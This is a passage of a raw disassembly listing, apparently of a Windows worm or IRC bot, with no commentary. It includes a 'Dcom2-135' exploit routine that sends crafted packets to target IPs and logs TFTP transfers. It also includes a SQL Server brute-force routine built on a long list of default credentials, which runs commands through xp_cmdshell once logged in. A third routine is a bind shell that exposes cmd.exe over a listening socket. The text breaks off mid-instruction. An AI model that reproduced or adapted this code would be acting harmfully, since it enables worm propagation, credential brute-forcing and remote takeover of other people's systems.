; --------------------------------------------------------------------------- loc_40C085: ; DATA XREF: sub_40C028+57o mov esi, [ebp-14h] mov edi, [ebp-18h] loc_40C08B: ; CODE XREF: sub_40C028+3Ej mov eax, [esi+8] or dword ptr [ebp-4], 0FFFFFFFFh test eax, eax jbe short loc_40C0AD cmp eax, edi jbe short loc_40C09C mov eax, edi loc_40C09C: ; CODE XREF: sub_40C028+70j push eax mov eax, [ebp+8] push dword ptr [esi+4] inc eax push eax call sub_40BD24 add esp, 0Ch loc_40C0AD: ; CODE XREF: sub_40C028+6Cj mov ebx, [esi+8] push 1 mov ecx, esi call sub_40BF18 mov eax, [ebp+8] mov ecx, esi inc eax push eax mov [esi+4], eax call sub_40C0ED and byte ptr [eax], 0 cmp ebx, edi mov [esi+0Ch], edi ja short loc_40C0D4 mov edi, ebx loc_40C0D4: ; CODE XREF: sub_40C028+A8j push edi mov ecx, esi call sub_40BE3C mov ecx, [ebp-0Ch] pop edi pop esi mov large fs:0, ecx pop ebx leave retn 4 sub_40C028 endp ; =============== S U B R O U T I N E ======================================= sub_40C0ED proc near ; CODE XREF: sub_40BD29+6Ap ; sub_40BD29+B2p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] dec eax retn 4 sub_40C0ED endp ; =============== S U B R O U T I N E ======================================= sub_40C0F5 proc near ; CODE XREF: sub_40BF18+47p arg_0 = dword ptr 4 push [esp+arg_0] call sub_419DD0 pop ecx retn 8 sub_40C0F5 endp ; =============== S U B R O U T I N E ======================================= sub_40C102 proc near ; CODE XREF: sub_40BFA8+15p push esi mov esi, ecx push edi mov edi, [esi+4] test edi, edi jz short loc_40C12E push edi call sub_40C0ED mov al, [eax] test al, al jz short loc_40C12E cmp al, 0FFh jz short loc_40C12E push 1 mov ecx, esi call sub_40BF18 push edi mov ecx, esi call sub_40BE1F loc_40C12E: ; CODE XREF: sub_40C102+9j ; sub_40C102+15j ... pop edi pop esi retn sub_40C102 endp ; =============== S U B R O U T I N E ======================================= sub_40C131 proc near ; CODE XREF: sub_40C028+36p ; sub_40C028+4Fp arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_40C148 pop ecx pop ecx retn 8 sub_40C131 endp ; =============== S U B R O U T I N E ======================================= sub_40C141 proc near ; CODE XREF: sub_40C012p or eax, 0FFFFFFFFh retn sub_40C141 endp ; =============== S U B R O U T I N E ======================================= sub_40C145 proc near ; CODE XREF: sub_40BD29+78p mov al, 1 retn sub_40C145 endp ; =============== S U B R O U T I N E ======================================= sub_40C148 proc near ; CODE XREF: sub_40C131+6p arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_40C152 xor eax, eax loc_40C152: ; CODE XREF: sub_40C148+6j push eax call sub_419E80 pop ecx retn sub_40C148 endp ; =============== S U B R O U T I N E ======================================= sub_40C15A proc near ; CODE XREF: .data:loc_40BB98p ; sub_4336B0+3p test byte_4DE308, 1 jnz short locret_40C16A or byte_4DE308, 1 locret_40C16A: ; CODE XREF: sub_40C15A+7j retn sub_40C15A endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C16C proc near ; CODE XREF: sub_40A84F+1D7p ; DATA XREF: .data:off_43F06Co var_5214 = byte ptr -5214h var_4214 = byte ptr -4214h var_3214 = byte ptr -3214h var_3212 = byte ptr -3212h var_2214 = byte ptr -2214h var_21F0 = byte ptr -21F0h var_1FE0 = byte ptr -1FE0h var_1FDC = byte ptr -1FDCh var_1214 = byte ptr -1214h var_120C = dword ptr -120Ch var_1204 = dword ptr -1204h var_1194 = dword ptr -1194h var_1190 = dword ptr -1190h var_1160 = dword ptr -1160h var_115C = dword ptr -115Ch var_1144 = dword ptr -1144h var_1088 = dword ptr -1088h var_EB4 = dword ptr -0EB4h var_EAC = dword ptr -0EACh var_214 = byte ptr -214h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_14 = byte ptr 1Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h arg_B0 = dword ptr 0B8h arg_B4 = dword ptr 0BCh push ebp mov ebp, esp mov eax, 5214h call sub_4181D0 push ebx push esi push edi lea eax, [ebp+arg_4] push 1 push eax call sub_41178F pop ecx test eax, eax pop ecx jz loc_40C357 cmp eax, 1 jz loc_40C357 push 0 push 1 push 2 call dword_4D66E8 ; socket mov edi, eax cmp edi, 0FFFFFFFFh jz loc_40C357 push 10h lea eax, [ebp+var_14] push 0 push eax call sub_417700 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_A0] call dword_4D6668 ; ntohs mov [ebp+var_12], ax lea eax, [ebp+arg_4] push eax call dword_4D66A8 ; inet_addr push offset byte_4370EC mov [ebp+var_10], eax push [ebp+arg_0] call sub_408882 pop ecx mov esi, 1000h push eax lea eax, [ebp+var_5214] push esi push eax call sub_4094DA add esp, 10h mov [ebp+var_4], eax test eax, eax jz loc_40C357 push 122h push offset aS_13 ; "è" lea eax, [ebp+var_4214] push esi push eax call sub_409562 mov ebx, eax push 25Ch lea eax, [ebp+var_2214] push offset a127_0_0_1Ipc ; "127.0.0.1\\IPC$\\" push eax call sub_419330 lea eax, [ebp+var_4214] push ebx push eax lea eax, [ebp+var_21F0] push eax call sub_419330 push [ebp+var_4] lea eax, [ebp+var_5214] push eax lea eax, [ebp+var_21F0] push eax call sub_419330 push 4 lea eax, [ebp+var_1FE0] push (offset loc_4404EF+1) push eax call sub_419330 add esp, 40h lea eax, [ebp+var_1FDC] push 4 push (offset loc_4404EB+1) push eax call sub_419330 mov eax, 12Eh add esp, 0Ch add [ebp+var_EB4], eax add [ebp+var_EAC], eax mov eax, 250h push 10h add [ebp+var_120C], eax add [ebp+var_1204], eax add [ebp+var_1194], eax add [ebp+var_1190], eax add [ebp+var_1160], eax add [ebp+var_115C], eax add [ebp+var_1144], eax add [ebp+var_1088], eax lea eax, [ebp+var_14] push eax push edi call dword_4D6610 ; connect cmp eax, 0FFFFFFFFh jnz short loc_40C2F3 loc_40C2F0: ; CODE XREF: sub_40C16C+19Bj ; sub_40C16C+1B4j ... push edi jmp short loc_40C351 ; --------------------------------------------------------------------------- loc_40C2F3: ; CODE XREF: sub_40C16C+182j xor ebx, ebx push ebx push 48h push offset dword_43FE50 push edi call dword_4D66B8 ; send cmp eax, 0FFFFFFFFh jz short loc_40C2F0 push ebx lea eax, [ebp+var_3214] push esi push eax push edi call dword_4D6680 ; recv cmp [ebp+var_3212], 0Ch jnz short loc_40C2F0 push ebx lea eax, [ebp+var_1214] push ebx push eax push edi call dword_4D66B8 ; send cmp eax, 0FFFFFFFFh jz short loc_40C2F0 push ebx lea eax, [ebp+var_3214] push esi push eax push edi call dword_4D6680 ; recv cmp [ebp+var_3212], 3 push edi jnz short loc_40C35E loc_40C351: ; CODE XREF: sub_40C16C+185j call dword_4D6700 ; closesocket loc_40C357: ; CODE XREF: sub_40C16C+1Fj ; sub_40C16C+28j ... xor eax, eax loc_40C359: ; CODE XREF: sub_40C16C+2A3j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40C35E: ; CODE XREF: sub_40C16C+1E3j call dword_4D6700 ; closesocket lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_214] push offset aTftpFileTransf ; "[TFTP]: File transfer complete to IP: %"... push eax call sub_417CB0 add esp, 0Ch xor esi, esi loc_40C37E: ; CODE XREF: sub_40C16C+232j lea eax, [ebp+var_214] push eax call sub_40FAA5 test eax, eax pop ecx jnz short loc_40C3A2 push 1388h call dword_4E033C ; Sleep inc esi cmp esi, 6 jl short loc_40C37E jmp short loc_40C40C ; --------------------------------------------------------------------------- loc_40C3A2: ; CODE XREF: sub_40C16C+221j lea eax, [ebp+arg_4] push eax mov eax, [ebp+arg_A8] shl eax, 6 add eax, offset aDcom2135_0 ; "Dcom2-135" push eax lea eax, [ebp+var_214] push offset aSExploitingIpS ; "[%s]: Exploiting IP: %s." push eax call sub_417CB0 add esp, 10h cmp [ebp+arg_B4], ebx jnz short loc_40C3EE push ebx lea eax, [ebp+var_214] push [ebp+arg_B0] push eax lea eax, [ebp+arg_14] push eax push [ebp+arg_0] call sub_40764A add esp, 14h loc_40C3EE: ; CODE XREF: sub_40C16C+263j lea eax, [ebp+var_214] push eax call sub_40F927 mov eax, [ebp+arg_A8] pop ecx shl eax, 6 lea eax, dword_43F070[eax] inc dword ptr [eax] loc_40C40C: ; CODE XREF: sub_40C16C+234j xor eax, eax inc eax jmp loc_40C359 sub_40C16C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, 1060h call sub_4181D0 mov al, byte_4D9384 push ebx push esi mov esi, offset aSa ; "sa" xor ebx, ebx mov [ebp-1], al mov [ebp-30h], esi mov dword ptr [ebp-2Ch], offset aRoot ; "root" mov dword ptr [ebp-28h], offset aAdmin ; "admin" mov [ebp-24h], ebx mov dword ptr [ebp-260h], offset byte_4D9385 mov dword ptr [ebp-25Ch], offset aAdministrator ; "administrator" mov dword ptr [ebp-258h], offset aAdministrador ; "administrador" mov dword ptr [ebp-254h], offset aAdministrateur ; "administrateur" mov dword ptr [ebp-250h], offset aAdministrat ; "administrat" mov dword ptr [ebp-24Ch], offset aAdmins ; "admins" mov dword ptr [ebp-248h], offset aAdmin_0 ; "admin" mov dword ptr [ebp-244h], offset aAdm ; "adm" mov dword ptr [ebp-240h], offset aPassword1 ; "password1" mov dword ptr [ebp-23Ch], offset aPassword ; "password" mov dword ptr [ebp-238h], offset aPasswd ; "passwd" mov dword ptr [ebp-234h], offset aPass1234 ; "pass1234" mov dword ptr [ebp-230h], offset aPass ; "pass" mov dword ptr [ebp-22Ch], offset aPwd ; "pwd" mov dword ptr [ebp-228h], offset a007 ; "007" mov dword ptr [ebp-224h], offset a1 ; "1" mov dword ptr [ebp-220h], offset a12 ; "12" mov dword ptr [ebp-21Ch], offset a123 ; "123" mov dword ptr [ebp-218h], offset a1234 ; "1234" mov dword ptr [ebp-214h], offset a12345 ; "12345" mov dword ptr [ebp-210h], offset a123456 ; "123456" mov dword ptr [ebp-20Ch], offset a1234567 ; "1234567" mov dword ptr [ebp-208h], offset a12345678 ; "12345678" mov dword ptr [ebp-204h], offset a123456789 ; "123456789" mov dword ptr [ebp-200h], offset a1234567890 ; "1234567890" mov dword ptr [ebp-1FCh], offset a2000 ; "2000" mov dword ptr [ebp-1F8h], offset a2001 ; "2001" mov dword ptr [ebp-1F4h], offset a2002 ; "2002" mov dword ptr [ebp-1F0h], offset a2003 ; "2003" mov dword ptr [ebp-1ECh], offset a2004 ; "2004" mov dword ptr [ebp-1E8h], offset aTest ; "test" mov dword ptr [ebp-1E4h], offset aGuest ; "guest" mov dword ptr [ebp-1E0h], offset aNone ; "none" mov dword ptr [ebp-1DCh], offset aDemo ; "demo" mov dword ptr [ebp-1D8h], offset aUnix ; "unix" mov dword ptr [ebp-1D4h], offset aLinux ; "linux" mov dword ptr [ebp-1D0h], offset aChangeme ; "changeme" mov dword ptr [ebp-1CCh], offset aDefault ; "default" mov dword ptr [ebp-1C8h], offset aSystem ; "system" mov dword ptr [ebp-1C4h], offset aServer_1 ; "server" mov dword ptr [ebp-1C0h], offset aRoot_0 ; "root" mov dword ptr [ebp-1BCh], offset aNull ; "null" mov dword ptr [ebp-1B8h], offset aQwerty ; "qwerty" mov dword ptr [ebp-1B4h], offset aMail ; "mail" mov dword ptr [ebp-1B0h], offset aOutlook ; "outlook" mov dword ptr [ebp-1ACh], offset aWeb ; "web" mov dword ptr [ebp-1A8h], offset aWww ; "www" mov dword ptr [ebp-1A4h], offset aInternet ; "internet" mov dword ptr [ebp-1A0h], offset aAccounts ; "accounts" mov dword ptr [ebp-19Ch], offset aAccounting ; "accounting" mov dword ptr [ebp-198h], offset aHome ; "home" mov dword ptr [ebp-194h], offset aHomeuser ; "homeuser" mov dword ptr [ebp-190h], offset aUser_1 ; "user" mov dword ptr [ebp-18Ch], offset aOem ; "oem" mov dword ptr [ebp-188h], offset aOemuser ; "oemuser" mov dword ptr [ebp-184h], offset aOeminstall ; "oeminstall" mov dword ptr [ebp-180h], offset aWindows ; "windows" mov dword ptr [ebp-17Ch], offset aWin98 ; "win98" mov dword ptr [ebp-178h], offset aWin2k ; "win2k" mov dword ptr [ebp-174h], offset aWinxp ; "winxp" mov dword ptr [ebp-170h], offset aWinnt ; "winnt" mov dword ptr [ebp-16Ch], offset aWin2000 ; "win2000" mov dword ptr [ebp-168h], offset aQaz ; "qaz" mov dword ptr [ebp-164h], offset aAsd ; "asd" mov dword ptr [ebp-160h], offset aZxc ; "zxc" mov dword ptr [ebp-15Ch], offset aQwe ; "qwe" mov dword ptr [ebp-158h], offset aBob ; "bob" mov dword ptr [ebp-154h], offset aJen ; "jen" mov dword ptr [ebp-150h], offset aJoe ; "joe" lea eax, [ebp-14h] mov dword ptr [ebp-14Ch], offset aFred ; "fred" push eax push ebx push 1 mov dword ptr [ebp-148h], offset aBill ; "bill" mov dword ptr [ebp-144h], offset aMike ; "mike" mov dword ptr [ebp-140h], offset aJohn ; "john" mov dword ptr [ebp-13Ch], offset aPeter ; "peter" mov dword ptr [ebp-138h], offset aLuke ; "luke" mov dword ptr [ebp-134h], offset aSam ; "sam" mov dword ptr [ebp-130h], offset aSue ; "sue" mov dword ptr [ebp-12Ch], offset aSusan ; "susan" mov dword ptr [ebp-128h], offset aPeter_0 ; "peter" mov dword ptr [ebp-124h], offset aBrian ; "brian" mov dword ptr [ebp-120h], offset aLee ; "lee" mov dword ptr [ebp-11Ch], offset aNeil ; "neil" mov dword ptr [ebp-118h], offset aIan ; "ian" mov dword ptr [ebp-114h], offset aChris ; "chris" mov dword ptr [ebp-110h], offset aEric ; "eric" mov dword ptr [ebp-10Ch], offset aGeorge ; "george" mov dword ptr [ebp-108h], offset aKate ; "kate" mov dword ptr [ebp-104h], offset aBob_0 ; "bob" mov dword ptr [ebp-100h], offset aKatie ; "katie" mov dword ptr [ebp-0FCh], offset aMary ; "mary" mov dword ptr [ebp-0F8h], offset aLogin_0 ; "login" mov dword ptr [ebp-0F4h], offset aLoginpass ; "loginpass" mov dword ptr [ebp-0F0h], offset aTechnical ; "technical" mov dword ptr [ebp-0ECh], offset aBackup ; "backup" mov dword ptr [ebp-0E8h], offset aExchange ; "exchange" mov dword ptr [ebp-0E4h], offset aFuck ; "fuck" mov dword ptr [ebp-0E0h], offset aBitch ; "bitch" mov dword ptr [ebp-0DCh], offset aSlut ; "slut" mov dword ptr [ebp-0D8h], offset aSex ; "sex" mov dword ptr [ebp-0D4h], offset aGod ; "god" mov dword ptr [ebp-0D0h], offset aHell ; "hell" mov dword ptr [ebp-0CCh], offset aHello ; "hello" mov dword ptr [ebp-0C8h], offset aDomain ; "domain" mov dword ptr [ebp-0C4h], offset aDomainpass ; "domainpass" mov dword ptr [ebp-0C0h], offset aDomainpassword ; "domainpassword" mov dword ptr [ebp-0BCh], offset aDatabase ; "database" mov dword ptr [ebp-0B8h], offset aAccess ; "access" mov dword ptr [ebp-0B4h], offset aDbpass ; "dbpass" mov dword ptr [ebp-0B0h], offset aDbpassword ; "dbpassword" mov dword ptr [ebp-0ACh], offset aDatabasepass ; "databasepass" mov dword ptr [ebp-0A8h], offset aData ; "data" mov dword ptr [ebp-0A4h], offset aDatabasepasswo ; "databasepassword" mov dword ptr [ebp-0A0h], offset aDb1 ; "db1" mov dword ptr [ebp-9Ch], offset aDb2 ; "db2" mov dword ptr [ebp-98h], offset aDb1234 ; "db1234" mov dword ptr [ebp-94h], offset aSa_0 ; "sa" mov dword ptr [ebp-90h], offset aSql ; "sql" mov dword ptr [ebp-8Ch], offset aSqlpassoainsta ; "sqlpassoainstall" mov dword ptr [ebp-88h], offset aOrainstall ; "orainstall" mov dword ptr [ebp-84h], offset aOracle ; "oracle" mov dword ptr [ebp-80h], offset aIbm ; "ibm" mov dword ptr [ebp-7Ch], offset aCisco ; "cisco" mov dword ptr [ebp-78h], offset aDell ; "dell" mov dword ptr [ebp-74h], offset aCompaq ; "compaq" mov dword ptr [ebp-70h], offset aSiemens ; "siemens" mov dword ptr [ebp-6Ch], offset aHp ; "hp" mov dword ptr [ebp-68h], offset aNokia ; "nokia" mov dword ptr [ebp-64h], offset aXp ; "xp" mov dword ptr [ebp-60h], offset aControl ; "control" mov dword ptr [ebp-5Ch], offset aOffice ; "office" mov dword ptr [ebp-58h], offset aBlank ; "blank" mov dword ptr [ebp-54h], offset aWinpass ; "winpass" mov dword ptr [ebp-50h], offset aMain ; "main" mov dword ptr [ebp-4Ch], offset aLan ; "lan" mov dword ptr [ebp-48h], offset aInternet_0 ; "internet" mov dword ptr [ebp-44h], offset aIntranet ; "intranet" mov dword ptr [ebp-40h], offset aStudent ; "student" mov dword ptr [ebp-3Ch], offset aTeacher ; "teacher" mov dword ptr [ebp-38h], offset aStaff ; "staff" mov [ebp-34h], ebx mov [ebp-1Ch], ebx mov [ebp-0Ch], ebx mov [ebp-10h], ebx call dword_4D65E4 test ax, ax jnz short loc_40C9B0 push 0FFFFFFFAh push 3 push 0C8h push dword ptr [ebp-14h] call dword_4D66F0 test ax, ax jz short loc_40C9B7 loc_40C9B0: ; CODE XREF: .data:0040C997j xor eax, eax jmp loc_40CBD7 ; --------------------------------------------------------------------------- loc_40C9B7: ; CODE XREF: .data:0040C9AEj lea eax, [ebp-0Ch] push eax push dword ptr [ebp-14h] push 2 call dword_4D65E4 test ax, ax jnz loc_40CBCA push edi mov edi, dword_4E033C mov [ebp-8], ebx mov [ebp-18h], esi loc_40C9DC: ; CODE XREF: .data:0040CB26j xor esi, esi mov eax, offset byte_4D9385 loc_40C9E3: ; CODE XREF: .data:0040CA55j lea ecx, [ebp-1] push ecx push eax push dword ptr [ebp-18h] lea eax, [ebp+0Ch] push dword ptr [ebp+0A8h] push eax lea eax, [ebp-0C60h] push offset aDriverSqlServe ; "DRIVER={SQL Server};SERVER=%s,%d;UID=%s"... push eax call sub_417CB0 add esp, 1Ch lea eax, [ebp-1Eh] push ebx push eax lea eax, [ebp-1060h] push 400h push eax lea eax, [ebp-0C60h] push eax call sub_414EC0 pop ecx push eax lea eax, [ebp-0C60h] push eax push ebx push dword ptr [ebp-0Ch] call dword_4D66A4 cmp ax, bx jz short loc_40CA5C cmp ax, 1 jz short loc_40CA5C push 1F4h call edi ; Sleep mov eax, [ebp+esi*4-25Ch] inc esi cmp eax, ebx jnz short loc_40C9E3 jmp loc_40CB17 ; --------------------------------------------------------------------------- loc_40CA5C: ; CODE XREF: .data:0040CA3Cj ; .data:0040CA42j lea eax, [ebp-10h] push eax push dword ptr [ebp-0Ch] push 3 call dword_4D65E4 mov eax, offset byte_4370EC push eax push eax call sub_417DC0 push eax call sub_417DC0 push eax push dword_4D63A0 push dword ptr [ebp+8] call sub_408882 pop ecx push eax lea eax, [ebp-860h] push offset aExecMaster__xp ; "EXEC master..xp_cmdshell 'del eq&echo o"... push eax call sub_417CB0 add esp, 20h lea eax, [ebp-860h] push 0FFFFFFFDh push eax push dword ptr [ebp-10h] call dword_4D662C test ax, ax jz short loc_40CB0C push 1388h call edi ; Sleep push offset byte_4370EC lea eax, [ebp-860h] push offset aExecMaster___0 ; "EXEC master..xp_cmdshell '%s'" push eax call sub_417CB0 lea eax, [ebp+0Ch] push eax lea eax, [ebp-460h] push offset dword_440AB8 push eax call sub_417CB0 add esp, 18h lea eax, [ebp-860h] push 0FFFFFFFDh push eax push dword ptr [ebp-10h] call dword_4D662C test ax, ax jz short loc_40CB31 push 1388h call edi ; Sleep loc_40CB0C: ; CODE XREF: .data:0040CAB7j push dword ptr [ebp-10h] push 3 call dword_4D6684 loc_40CB17: ; CODE XREF: .data:0040CA57j inc dword ptr [ebp-8] mov eax, [ebp-8] mov eax, [ebp+eax*4-30h] cmp eax, ebx mov [ebp-18h], eax jnz loc_40C9DC jmp loc_40CBBB ; --------------------------------------------------------------------------- loc_40CB31: ; CODE XREF: .data:0040CB03j push dword ptr [ebp+esi*4-260h] mov eax, [ebp-8] mov dword ptr [ebp-1Ch], 1 push dword ptr [ebp+eax*4-30h] lea eax, [ebp+0Ch] push dword ptr [ebp+0A8h] push eax mov eax, [ebp+0B0h] shl eax, 6 add eax, offset aDcom2135_0 ; "Dcom2-135" push eax push offset unk_440AD4 lea eax, [ebp-460h] push 200h push eax call sub_417E80 add esp, 20h cmp [ebp+0BCh], ebx jnz short loc_40CB9D push ebx lea eax, [ebp-460h] push dword ptr [ebp+0B8h] push eax lea eax, [ebp+1Ch] push eax push dword ptr [ebp+8] call sub_40764A add esp, 14h loc_40CB9D: ; CODE XREF: .data:0040CB7Ej lea eax, [ebp-460h] push eax call sub_40F927 mov eax, [ebp+0B0h] pop ecx shl eax, 6 lea eax, dword_43F070[eax] inc dword ptr [eax] loc_40CBBB: ; CODE XREF: .data:0040CB2Cj push dword ptr [ebp-0Ch] push 2 call dword_4D6684 mov ebx, [ebp-1Ch] pop edi loc_40CBCA: ; CODE XREF: .data:0040C9C9j push dword ptr [ebp-14h] push 1 call dword_4D6684 mov eax, ebx loc_40CBD7: ; CODE XREF: .data:0040C9B2j pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40CBDB proc near ; DATA XREF: sub_40CC69+15Bo var_404 = byte ptr -404h var_4 = byte ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40CBE4: ; CODE XREF: sub_40CBDB+25j ; sub_40CBDB+41j push 0 lea eax, [ebp+var_404] push 400h push eax push dword_4D9398 call dword_4D6680 ; recv test eax, eax jle short loc_40CBE4 lea ecx, [ebp+var_4] push 0 push ecx push eax lea eax, [ebp+var_404] push eax push dword_4D9394 call dword_4E03B4 ; WriteFile jmp short loc_40CBE4 sub_40CBDB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40CC1E proc near ; DATA XREF: sub_40CC69+142o var_404 = byte ptr -404h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 404h loc_40CC27: ; CODE XREF: sub_40CC1E+2Fj ; sub_40CC1E+49j lea eax, [ebp+var_4] and [ebp+var_4], 0 push 0 push eax lea eax, [ebp+var_404] push 400h push eax push dword_4D9388 call dword_4E03B8 ; ReadFile cmp [ebp+var_4], 0 jle short loc_40CC27 push 0 lea eax, [ebp+var_404] push [ebp+var_4] push eax push dword_4D9398 call dword_4D66B8 ; send jmp short loc_40CC27 sub_40CC1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_40CC69 proc near ; DATA XREF: sub_401C87+26D8o var_11C = byte ptr -11Ch var_98 = dword ptr -98h var_7C = dword ptr -7Ch var_50 = dword ptr -50h var_4C = word ptr -4Ch var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = byte ptr -3Ch var_38 = word ptr -38h var_36 = word ptr -36h var_28 = dword ptr -28h var_24 = dword ptr -24h var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 11Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 28h mov esi, eax pop ecx lea edi, [ebp+var_11C] rep movsd xor esi, esi xor edi, edi inc esi push 10h mov [eax+98h], esi lea eax, [ebp+var_38] push edi push eax call sub_417700 add esp, 0Ch mov [ebp+var_38], 2 push [ebp+var_98] call dword_4D6668 ; ntohs push 6 push esi push 2 mov [ebp+var_36], ax call dword_4D66E8 ; socket mov [ebp+arg_0], eax lea eax, [ebp+var_38] push 10h push eax push [ebp+arg_0] call dword_4D6694 ; bind push 5 push [ebp+arg_0] call dword_4D6690 ; listen mov ebx, dword_4E03C8 mov esi, dword_4E032C loc_40CCE9: ; CODE XREF: sub_40CC69+1CBj push edi push edi push [ebp+arg_0] call dword_4D66FC ; accept mov dword_4D9398, eax lea eax, [ebp+var_C] push edi push eax push offset dword_4D9394 push offset dword_4D9390 mov [ebp+var_C], 0Ch mov [ebp+var_4], 1 mov [ebp+var_8], edi call ebx ; CreatePipe lea eax, [ebp+var_C] push edi push eax push offset dword_4D938C push offset dword_4D9388 call ebx ; CreatePipe push 44h lea eax, [ebp+var_7C] push edi push eax call sub_417700 mov eax, dword_4D9390 add esp, 0Ch mov [ebp+var_44], eax mov eax, dword_4D938C mov [ebp+var_40], eax push edi push 1 lea eax, [ebp+var_3C] push 2 push eax mov [ebp+var_7C], 44h mov [ebp+var_50], 101h mov [ebp+var_4C], di call dword_4E03C4 ; GetCurrentProcess push eax push dword_4D938C call dword_4E03C4 ; GetCurrentProcess push eax call dword_4E03C0 ; DuplicateHandle lea eax, [ebp+var_28] push eax lea eax, [ebp+var_7C] push eax push edi push edi push 4000090h lea eax, [ebp+var_C] push 1 push eax lea eax, [ebp+var_C] push eax push offset aCmd_exe ; "cmd.exe" push edi call dword_4E0330 ; CreateProcessA lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40CC1E lea eax, [ebp+var_C] push edi push eax call dword_4E0340 ; CreateThread mov [ebp+var_14], eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40CBDB lea eax, [ebp+var_C] push edi push eax call dword_4E0340 ; CreateThread push 0FFFFFFFFh mov [ebp+var_10], eax push [ebp+var_28] call dword_4E0364 ; WaitForSingleObject push edi push [ebp+var_10] call dword_4E0378 ; TerminateThread push edi push [ebp+var_14] call dword_4E0378 ; TerminateThread push [ebp+var_10] call esi ; CloseHandle push [ebp+var_14] call esi ; CloseHandle push edi push [ebp+var_28] call dword_4E03BC ; TerminateProcess push dword_4D9390 call esi ; CloseHandle push dword_4D9394 call esi ; CloseHandle push dword_4D9388 call esi ; CloseHandle push dword_4D938C call esi ; CloseHandle push [ebp+var_24] call esi ; CloseHandle push [ebp+var_28] call esi ; CloseHandle jmp loc_40CCE9 sub_40CC69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40CE39 proc near ; DATA XREF: .data:0043700Co jmp $+5 sub_40CE39 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40CE3E proc near push 0FFFEh push 400h call sub_412243 pop ecx mov dword_4D939C, eax pop ecx retn sub_40CE3E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CE55 proc near ; DATA XREF: sub_40A01B+352o var_6C0 = byte ptr -6C0h var_2C0 = byte ptr -2C0h var_C0 = byte ptr -0C0h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A4 = dword ptr -0A4h var_A0 = byte ptr -0A0h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 6C0h mov eax, [ebp+arg_0] push ebx push esi push edi push 27h mov esi, eax pop ecx lea edi, [ebp+var_B0] rep movsd xor esi, esi xor ebx, ebx inc esi push 10h mov [eax+98h], esi lea eax, [ebp+var_14] push ebx push eax call sub_417700 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_A4] call dword_4D6668 ; ntohs push ebx push esi push 2 mov [ebp+var_12], ax mov [ebp+var_10], ebx call dword_4D66E8 ; socket mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jnz short loc_40CEFC cmp [ebp+var_1C], ebx jnz short loc_40CEDC push ebx lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_40764A add esp, 14h loc_40CEDC: ; CODE XREF: sub_40CE55+65j lea eax, [ebp+var_2C0] push eax call sub_40F927 push [ebp+var_AC] call sub_409979 pop ecx pop ecx push ebx call dword_4E03A0 ; ExitThread loc_40CEFC: ; CODE XREF: sub_40CE55+60j mov eax, [ebp+var_AC] push 10h imul eax, 234h mov dword_4495AC[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_4D6694 ; bind cmp eax, esi mov ebx, 400h jnz loc_40CFF7 call dword_4D65FC ; WSAGetLastError cmp eax, 2740h jz short loc_40CF7C xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40CF5C push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_40764A add esp, 14h loc_40CF5C: ; CODE XREF: sub_40CE55+E5j lea eax, [ebp+var_2C0] push eax call sub_40F927 push [ebp+var_AC] call sub_409979 pop ecx pop ecx push esi call dword_4E03A0 ; ExitThread loc_40CF7C: ; CODE XREF: sub_40CE55+DEj push 0FFFEh push ebx call sub_412243 pop ecx mov dword_4D939C, eax pop ecx mov [ebp+var_12], ax lea eax, [ebp+var_14] push 10h push eax push edi call dword_4D6694 ; bind cmp eax, esi jnz short loc_40CFF7 call dword_4D65FC ; WSAGetLastError xor esi, esi cmp [ebp+var_1C], esi jnz short loc_40CFD7 cmp eax, 2740h jz short loc_40CFD7 push esi lea eax, [ebp+var_2C0] push [ebp+var_20] push eax lea eax, [ebp+var_A0] push eax push [ebp+var_B0] call sub_40764A add esp, 14h loc_40CFD7: ; CODE XREF: sub_40CE55+159j ; sub_40CE55+160j lea eax, [ebp+var_2C0] push eax call sub_40F927 push [ebp+var_AC] call sub_409979 pop ecx pop ecx push esi call dword_4E03A0 ; ExitThread loc_40CFF7: ; CODE XREF: sub_40CE55+CDj ; sub_40CE55+14Cj push 5 push edi call dword_4D6690 ; listen cmp eax, esi jz loc_40D0DC mov [ebp+var_4], 10h mov esi, offset byte_4370EC loc_40D014: ; CODE XREF: sub_40CE55+1D7j ; sub_40CE55+227j ... lea 